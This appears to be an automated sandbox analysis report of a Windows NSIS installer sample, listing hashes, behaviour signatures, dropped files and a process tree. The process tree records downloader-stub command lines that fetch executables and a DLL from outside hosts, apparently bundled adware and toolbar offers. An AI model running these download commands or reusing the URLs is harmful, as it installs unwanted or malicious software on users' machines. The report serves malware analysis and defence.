Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    15/06/2024, 09:46

General

  • Target

    add6eafe509b13254a85cd10cb5bdbae_JaffaCakes118.exe

  • Size

    337KB

  • MD5

    add6eafe509b13254a85cd10cb5bdbae

  • SHA1

    2c23ff983fc53a095533459c661bc591b3691a14

  • SHA256

    019c7c4a5bebfef8ee7661f65117797f4c75b32eb4025b5574929899ff0ce5d9

  • SHA512

    f7b27b41f4f939a04b3f85569b7d4522399d8c7f6f9c12b905b3400e8378ddd2dd2661ae12574415660458c3d75665143fe79e58088e0be5590fa669bfc3c8b7

  • SSDEEP

    6144:gc63Az3BkCI6euLBvfpvATS9zXQgfU41Rns01ZLAwzuZl9VIpdiw2dNaHyYtCi:+GRMCtnpvAWRFrzUw6ZOl24Ci

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\add6eafe509b13254a85cd10cb5bdbae_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\add6eafe509b13254a85cd10cb5bdbae_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:3036
    • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2152
    • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1956
    • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:3000
    • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\volcano.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2668
    • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\pricepeep.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2732
    • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\preinstaller.exe 0 "parasempredubladormv" "Download"
      2⤵
      • Executes dropped EXE
      PID:2672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\add297e6e75d2fb414b44784df8382b4\preinstaller.exe

    Filesize

    241KB

    MD5

    9d8fe8bcc4c493b2fd1da8d2b07ba57c

    SHA1

    aa9366eb9210c8a5398b5e55921c92ce8970df5b

    SHA256

    f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

    SHA512

    3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

  • \Users\Admin\AppData\Local\Temp\nst1B20.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • memory/2672-68-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2944-67-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB